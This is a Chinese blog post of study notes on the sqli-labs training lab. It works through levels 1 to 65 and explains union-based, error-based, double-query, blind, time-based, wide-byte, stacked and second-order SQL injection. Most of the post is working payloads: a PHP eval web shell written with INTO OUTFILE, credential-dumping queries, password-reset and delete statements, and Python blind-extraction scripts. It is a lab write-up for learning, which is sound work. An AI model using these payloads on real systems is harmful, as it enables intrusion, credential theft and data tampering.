sqli labs 笔记

感觉之前sql注入的题一直没找到门路,所以希望两周(8.23-8.9.6)通过这个练习训练一下思路和技巧,如有问题欢迎讨论.
8.31做完后发现其实题目不难,但是对打基础特别友好.此外题目类型不是很多,基本上同一道题有着很多种解法

less-1

-
最基础的sql注入,考察的也是最基本的知识点,也是最重要的,详细的说一下这道题.
首先插入单引号打乱结构,有错误回显
QQ截图20190823214853.png

仔细查看报错信息,提示'2'' LIMIT 0,1附近有错误,可以发现2的右边有两个单引号,其中一个是语句本来的,另一个是我们添加的,所以可以得到大致的结构大概与这相似where id = '$id'
所以我们可以在后面直接添加注释#,且正常返回
QQ截图20190823215958.png

-
接下来假设flag在其他数据库或字体字段,我们需要查看其他数据库或字段内容,所以下一步应该猜测一下字段数,payload:

?id=2' union select 1,2 %23(报错)
?id=2' union select 1,2,3 %23(正常)

此外还可以使用order by语句进行猜测,order by是按照某个字段排序的语句即order by column_name
QQ截图20190823221332.png

但是可以把column改为数字,即order by num,它的使用就是省略了字段名称直接使用num数字来代替相应位置的字段名称,这样与by username是一样的

QQ截图20190823221642.png

所以order by猜测字段的payload:

?id=2' order by 3 %23(正常)
?id=2' order by 4 %23(报错)

所以我们可以得出本表使用的字段有三个,修改联合查询填充的1,2,3为version()或database(),但是并没有返回我们想要的..应该是限制了返回第一行,对于这种情况,我们输入一个不存在的id让他返回空表即可

QQ截图20190823222354.png

成功返回之后我们进行暴库

关于information_schema:

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件.
在information_schema数据库中存在一下表:

表名表中字段
SCHEMATA表SCHEMA_NAMEDEFAULT_CHARACTER_SET_NAME
TABLES表TABLE_SCHEMATABLE_NAME
COLUMNS表TABLE_SCHEMATABLE_NAMECOLUMN_NAME

首先查看所有数据库,因为只能返回一个字段的值,所以我们使用group_concat()函数进行拼接,使其在一个字段中返回

(select group_concat(schema_name) from information_schema.schemata)

QQ截图20190824094623.png

选择security进行爆表

(select group_concat(table_name) from information_schema.tables where table_schema='security')

QQ截图20190824094949.png

爆字段

(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')

QQ截图20190831153253.png

爆值

(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)

QQ截图20190831153849.png

less-2

输入1',发现报错

near '' LIMIT 0,1' at line 1

可知多出了一个引号,猜测原本语句可能就没有用引号或已经配对.payload:

http://127.0.0.1/sql/Less-2/?id=-1%20union%20select%201,2,database()%20%23

less-3

输入1'发现报错

syntax to use near ''2'') LIMIT 0,1' at line 1

可知构造')即可,payload:

http://127.0.0.1/sql/Less-3/?id=-1%27)%20union%20select%201,2,3%20%23

less-4

输入1",发现报错

syntax to use near '"1"") LIMIT 0,1' at line 1

可知构造")即可,payload:

http://127.0.0.1/sql/Less-4/?id=-1%22)%20union%20select%201,2,3%20%23

less-5

双查询注入,换题了换题了!!
先放一张结果图,可见它是以报错的方式体现信息的.
QQ截图20190826115643.png

首先还是报错注入,发现报错后可以进行构造,并且成功注入

QQ截图20190826115359.png

payload:

http://127.0.0.1/sql/Less-5/?id=1%27%20%23

但是无论怎么注入,数据库信息等等都是不会回显的,始终只有一个"you are in ...",那么问题就来了,没有回显的话是不是跟普通的盲注一样呢?欸,其实这道题的确可以盲注,而且还挺简单,但是出题人思路并不是这样.这道题关键在于通过其他类型报错把信息爆出来,正如第一张图所示.

接下来我们浅析一下双注入,首先这里引用一位大佬的归纳

Double Injection(双查询注入)是一种利用Mysql在按含rand函数的列分组(group by)并计数(count)的情况下创建临时表后,查询临时表中分组键(group_by)是否存在和向临时表插入新行时均计算rand函数返回值的特性,通过巧妙地构造SQL语句,将有用信息显示在SQL报错信息中的SQL注入技术.

首先需要知道group by的用法,这里简单的说即按照某个字段分组,在一个临时表中只显示不同的值
table_schema的总行数

MySQL [(none)]> select count(*) from information_schema.tables;
+----------+
| count(*) |
+----------+
|      285 |
+----------+
1 row in set (0.00 sec)

使用group by后

MySQL [security]> select table_schema from information_schema.tables group  by table_schema;
+--------------------+
| table_schema       |
+--------------------+
| challenges         |
| chris              |
| information_schema |
| mysql              |
| performance_schema |
| security           |
| sys                |
+--------------------+
7 rows in set (0.01 sec)

count和group by常常配合使用,例如下面的例子显示了如何统计各个模式中各有多少个数据表

MySQL [security]> select table_schema,count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema       | count(*) |
+--------------------+----------+
| challenges         |        1 |
| chris              |        1 |
| information_schema |       61 |
| mysql              |       31 |
| performance_schema |       87 |
| security           |        4 |
| sys                |      101 |
+--------------------+----------+
7 rows in set (0.01 sec)

接下来是double injection的核心rand()函数,这个函数生成0-1的随机数,我们配合上floor函数,再添加一个固定种子14,这样它生成的数前4个数都是 1,0,1,0 了

MySQL [security]> select floor(rand(14)*2) from users limit 4;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
|                 1 |
|                 0 |
|                 1 |
|                 0 |
+-------------------+
4 rows in set (0.00 sec)

接下来就是最重要的报错环节,我们的测试语句如下:

MySQL [security]> select floor(rand(14)*2) c,count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '0' for key '<group_key>'

成功报错,且字段0被体现了,若我们加上数据库函数

MySQL [security]> select concat(database(),floor(rand(14)*2)) c,count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'security0' for key '<group_key>'

同样成功,且信息回显了.接下来说一说原理:

首先floor(rand(14)*2)因为有固定种子,所以产生的数前4位总是1,0,1,0.

MySQL [(none)]> select floor(rand(14)*2) from information_schema.tables limit 1,4;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
|                 1 |
|                 0 |
|                 1 |
|                 0 |
+-------------------+
4 rows in set (0.00 sec)

若在SQL语句中有group by,Mysql会先创建一张临时表.创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)*2),计算出其值为1(第一个值1),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),注意此时又计算了一次(第二个值0),结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| 0                  |     1 |
+--------------------+-------+

Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)*2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临斜体文字时表插入一行数据,group_key为0,tally为1即

+--------------------+-------+
| group_key          | tally |
+--------------------+-------+
| 0                  |     1 |
+--------------------+-------+

但实际上临时表中已经有同样的值了,而语句中有group by,设置了不可重复的约束,所以报错:

ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'
(键'group_key'重复输入'0')

接下来就是我们运用的时候,将任何我们想查询的信息与floor函数串联即可,使用concat函数,例如:

MySQL [security]> select concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(14)*2)) c,count(*) from information_schema.columns group by c;

ERROR 1062 (23000): Duplicate entry 'information_schema,challenges,chris,mysql,performance_schema,sec' for key '<group_key>'

剩下的就是运用less-1的知识了

less-5的细节与其他解法

这个rand()函数,如果你不加种子的话,报错是随机的,也就是说你可能报错,也可能不报错,正如下面的情况

MySQL [(none)]> select floor(rand()*2)c,count(*) from information_schema.tables  group by c;
+---+----------+
| c | count(*) |
+---+----------+
| 0 |      127 |
| 1 |      158 |
+---+----------+
2 rows in set (0.01 sec)

MySQL [(none)]> select floor(rand()*2)c,count(*) from information_schema.tables  group by c;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

而在less-5中正好运用到了rand(14)的好处,因为使用mysql插入一个值会计算两次列名,所以最后插入的时候一定是0,所以一定会报错,其实rand(0)也是可以的.

MySQL [(none)]> select floor(rand(0)*2)c from information_schema.tables limit 0,4;
+---+
| c |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
+---+
4 rows in set (0.00 sec)

接下来说一下其他解法,这道题本质上说来是报错注入,使用报错回显来显示信息.此外我们还可以使用其他的方式来报错,如下

http://127.0.0.1/sql/Less-6/?id=1' and 1=(updatexml(1,concat(0x3a,(select user())),1)) %23
http://127.0.0.1/sql/Less-6/?id=1' and extractvalue(1, concat(0x3a, (select database()))) %23

less-6

与less-5相同,双引号问题

less-7

提示了使用outfile,我们可以写入脚本也可以查询其他数据库的信息导出到一个文件内,这里我们直接写shell

http://127.0.0.1/sql/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["a"]) ?>' into outfile "D:\\1.php" %23

QQ截图20190827105928.png

虽然报错了,但是却成功生成文件了??但是我在sql shell测试的的时候,这句话也没有错,所以原因还未知

less-8

最基本的盲注,正常步骤,测试payload:

http://127.0.0.1/sql/Less-8/?id=1' and 1=1 %23(成功)
http://127.0.0.1/sql/Less-8/?id=1' and 1=2 %23(失败)

直接上了,没什么说的

#by chrisyy
import requests

baselength = 0
basename = ""
tablenum = 0
tablename = ''
tablelength = 0
result = ''

for i in range(1,99):  
    r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and length(database())='{}' %23".format(str(i)))
    if "You are in" in r.text:
       print("length of database_name is :" + str(i))
       baselength = i
       break

for i in range(1,baselength+1):
    for ch in range(32,127):
        r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and substr(database(),{0},1)='{1}' %23".format(str(i),chr(ch)))
        if "You are in" in r.text:
            basename += chr(ch)
            print(basename)
            break


for i in range(1,99):
    r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (select count(*) from information_schema.tables where table_schema ='security')={}; %23".format(str(i)))
    if "You are in" in r.text:
        tablenum = i
        print(str(i)+" tables is founded!")
        break

for i in range(1,99):
    for ch in range(32,127):
        r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))='{1}' %23".format(str(i),chr(ch)))
        if "You are in" in r.text:
            tablename += chr(ch)
            print(tablename)
            break

for i in range(1,999):
    for ch in range(32,127):
        r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (substr(((select group_concat(username) from users)),{0},1))='{1}' %23".format(str(i),chr(ch)))
        if "You are in" in r.text:
            result += chr(ch)
            print(result)
            break

less-9

时间盲注,使用一下if语句即可

IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 
expr1 的值为FALSE,则返回值为 expr3

测试payload:

http://127.0.0.1/sql/Less-9/?id=1' and if((substr(database(),1,1)>'a'),sleep(3),1) %23(成功延时)

QQ截图20190831220431.png

脚本如下:

#by chrisyy
import requests

base_length = 0
base_name = ''
for i in range(1,99):
    try:
        r =requests.get("http://127.0.0.1/sql/Less-9/?id=1' and if((length(database())={}),sleep(4),1) %23".format(str(i)),timeout=3)
    except requests.exceptions.ReadTimeout:
        base_length = i 
        print("length of database is : "+str(base_length))
        break

for i in range(1,base_length+1):
    for ch in range(32,127):
        try:
            r =requests.get("http://127.0.0.1/sql/Less-9/?id=1' and if((substr(database(),{},1)='{}'),sleep(4),1) %23".format(str(i),chr(ch)),timeout=3)
        except requests.exceptions.ReadTimeout:
            base_name +=chr(ch)
            print(base_name)
            break

less-10

与less-9相同,变成双引号即可

less-11

题变为post的方式了,输入'发现报错,所以按照报错注入方式做
QQ截图20190827110312.png

less-12

双引号版加括号的less-11

syntax to use near '1") LIMIT 0,1' at line 1

less-13

'号报错

less-14

"号报错

less-15

这道题没有报错回显了,所以采用盲注的方式

uname=admin&passwd=0' and substr(database(),1,1)='q' #&submit=Submit(失败)
uname=admin&passwd=0' and substr(database(),1,1)='s' #&submit=Submit(成功)

less-16

同15,虽然写的是时间盲注,可以用布尔盲注

uname=admin&passwd=0") and substr(database(),1,1)='s'  #&submit=Submit(成功)
uname=admin&passwd=0") and substr(database(),1,1)='q'  #&submit=Submit(失败)

less-17

报错注入,但是用户名必须是数据库里面的一个才行

less-18

18-20都差不多,一个思路.
18登录成功后如下显示
QQ截图20190827113609.png

看样子还以为xff头注入,但是发现改了没有用...后面才知道目的是改user-agent,而且程序会添加一个user-agent的数据到数据库里

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以报错注入就行了

less-19

成功登陆后,根据题目,再refere头处尝试注入',发现报错

 near '127.0.0.1')' at line 1

信息不足无法构造,再尝试构造报错注入:Referer:1'1,发现报错

 near '1', '127.0.0.1')' at line 1

可以发现前面那个不在了,所以可以推测再'前面语法正确,大致猜测查询语句可以为

value('ref','ip')

所以现在再尝试构造语句

' and 1='1(没有报错)

说明构造成功,接下来就是报错注入的事了

less-20

cookie的位置注入

uname=admin' and extractvalue(1,concat(0x7a,(select database()))) #

less-21

登陆后才会发现cookie

QQ截图20190831224235.png

发现Cookie: uname=YWRtaW4%3d
猜测是某种编码,但是base64没有%,查看url编码,发现%3d是等于符号,于是去掉%3d去解密,解出来结果为admin,尝试加一个'号再编码回去,成功报错,随后报错注入即可
QQ截图20190831224552.png

less-22

双引号的21

less-23

测试payload:

http://127.0.0.1/sql/Less-23/?id=-1' union select 1,2,3 %23
如下报错
near '' LIMIT 0,1' at line 1
即多了一个引号,尝试再次手动添加'号
http://127.0.0.1/sql/Less-23/?id=-1' union select 1,2,'3 %23
成功回显

后来查看源码才发现注释被过滤了

less-24

二次注入
在题目中有个修改密码,首先就想到了各种越权漏洞,查看资料才知道怎么做
首先注册一个账号插入数据库

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

如果注册账号为admin'#的话代入这个更新语句

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

成功闭合并且注释掉了后面的语句,重置了admin账号的密码。(牛皮)

less-25

其实联合注入不用or&and可以做出来一些
此外源码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);//Strip out AND (non case sensitive)
    return $id;
}

可以发现使用正则发现只有一次过滤,所以双写绕过

less-25a

25的盲注版本,payload:

http://127.0.0.1/sql/Less-25a/?id=1 anandd (ascii(substr((select database()),1,1))=115)%23(成功回显)

less-26

在下方有一个你的输入结果提示,可以发现空格,注释/**/和#都被过滤了,但是or和and同样是可以双写绕过的,尝试输入',发现报错,于是基于报错注入的没有空格的payload
注意information也要双写

数据库名
http://mol666.club:1000/Less-26/?id=1'||updatexml(1,concat(0x3a,(database())),1)||'1
表名
http://mol666.club:1000/Less-26/?id=0'||extractvalue(1, concat(0x3a, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1
users中字段
http://mol666.club:1000/Less-26/?id=0'||extractvalue(1, concat(0x3a, (select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)=database()aandnd(table_name)='users')))||'1
字段值
http://mol666.club:1000/Less-26/?id=0'||extractvalue(1, concat(0x3a, (select(group_concat(id))from(users))))||'1

QQ截图20190901200252.png

但是由于再配置文件中定义了报错的最大的字符数,所以username不能爆完,password也是一样的
QQ截图20190901200310.png

less-26a

没有报错回显,给了一个帮你构造的回显,题目说的盲注把,就盲注把,payload:

http://127.0.0.1/sql/Less-26a/?id=0'||(substr(database(),1,1))='s

less-27

报错注入,但是把select和union过滤了,先变异用updatexml函数和extractvalue就行

http://127.0.0.1/sql/Less-27/?id=0%27||updatexml(1,concat(0x3a,(select%20user())),1)||%271

less-27a

双引号的less-26a

http://127.0.0.1/sql/Less-27a/?id=0%22||(substr(database(),1,1))=%22s

less-28

http://127.0.0.1/sql/Less-28/?id=0')union(select%0d1,database(),'3

less-28a

同样盲注

http://127.0.0.1/sql/Less-28a/?id=0%27||(substr(database(),1,1))=%27s

less-29

我服了,源码只对第一个值检测即&第一次出现的地方,所以payload:

http://127.0.0.1/sql/Less-29/?id=1&id=' union select 1,database(),3 --+

less-30

双引号的less-29

less-31

闭合的情况不同

http://127.0.0.1/sql/Less-31/?id=1&id=")union select 1,database(),("3

less-32

输入引号,发现提示

Hint: The Query String you input is escaped as : 1\'

可以想到宽字节注入,payload

http://127.0.0.1/sql/Less-32/?id=-1%df%27union%20select%201,2,3%20%23

less-33

宽字节

less-34

宽字节

less-35

http://127.0.0.1/sql/Less-35/?id=-1%20union%20select%201,2,3%20%23

数字联合注入??

less-36

宽字节

less-37

宽字节

less-38

堆叠注入

http://127.0.0.1/sql/Less-38/?id=1';insert into users(id,username,password) values (20,'1','1') %23

result:
| 20 | 1        | 1          |
+----+----------+------------+
14 rows in set (0.01 sec)

less-39

http://127.0.0.1/sql/Less-39/?id=1;insert into users(id,username,password) values (21,'1','1') %23

result:
| 20 | 1        | 1          |
| 21 | 1        | 1          |
+----+----------+------------+
15 rows in set (0.00 sec)

less-40

http://127.0.0.1/sql/Less-40/?id=1');insert into users(id,username,password) values (22,'1','1') %23

result:
| 20 | 1        | 1          |
| 21 | 1        | 1          |
| 22 | 1        | 1          |
+----+----------+------------+
16 rows in set (0.00 sec)

less-41

http://127.0.0.1/sql/Less-41/?id=1;insert into users(id,username,password) values (23,'1','1') %23

less-42

这是登录框的形式的堆叠注入,我们可以提交进行修改密码的语句,不过值得注意的是,username被过滤了,但是password没有使用过滤函数

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

payload:

';update users set password='1234' where username = 'admin' #

可以看到admin的密码已经被改为了123

|  7 | batman   | mob!le     |
|  8 | admin    | 123        |
|  9 | admin1   | admin1     |

less-43

同42,闭合)即可

less-44

这关就是没有回显了,构造上花点心思即可,没有其他的技巧了

less-45

闭合...

less-46

46开始题目变成了order by 注入,即你输入的值为排序的依据,但是有报错,可以按照报错注入的思路做

http://127.0.0.1/sql/Less-46/?sort=1%20%20and%20(updatexml(1,concat(0x3a,(user())),1))%20%23

主要是后面可以接运算,所以盲注也是可以的

less-47

闭合问题

less-48

没有回显,盲注

?sort=1 and if(1=1, sleep(1), null)

less-49

变为了字符型,闭合问题,同上

less-50

?sort=1;update users set password='1234' where username = 'admin' #

less-51

?sort=1';delete from users where username='admin4

less-52

同50

less-53

同52闭合问题

less-54

接下来就是challenge的环节,目的是获得数据库中的一个值,其实在之前的练习中,我们已经做到了这一步,基本没有其他技巧,在这里说一下步骤就好.

http://127.0.0.1/sql/Less-54/?id=1111' union select 1,2,database() %23
?id=-1' union select 1,2,(select group_concat(table_name) 
from information_schema.TABLES where TABLE_SCHEMA='challenges') %23
?id=-1' union select 1,2,(select group_concat(column_name) 
from information_schema.columns where TABLE_name='2z2ky7u3h6') %23
?id=-1' union select 1,2,(select group_concat(secret_VT7N) from 2z2ky7u3h6) %23

less-55

?id=1)
然后同上

less-56

?id=-1')
然后同上

less-57

?id=-1"
然后同上

less-58

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) 
from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) 
from information_schema.columns where TABLE_name='b392at8va9'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select secret_Q7PX 
from b392at8va9),0x7e),1)--+

less-59

数字型报错注入
然后同上

less-60

?id=1")
然后同上

less-61

?id=1'))
然后同上

less-62-65

这里的盲注难点在于尝试次数只有130次,可以多批次盲注然后调参数即可,此外还可以采用二分盲注的方式,而且算法也不难.
62-65全是盲注,参数闭合不同而已,不说了.

(后面真是体力活啊...)

本文链接:

http://chrisyy.top/index.php/archives/5/
1 + 1 =
快来做第一个评论的人吧~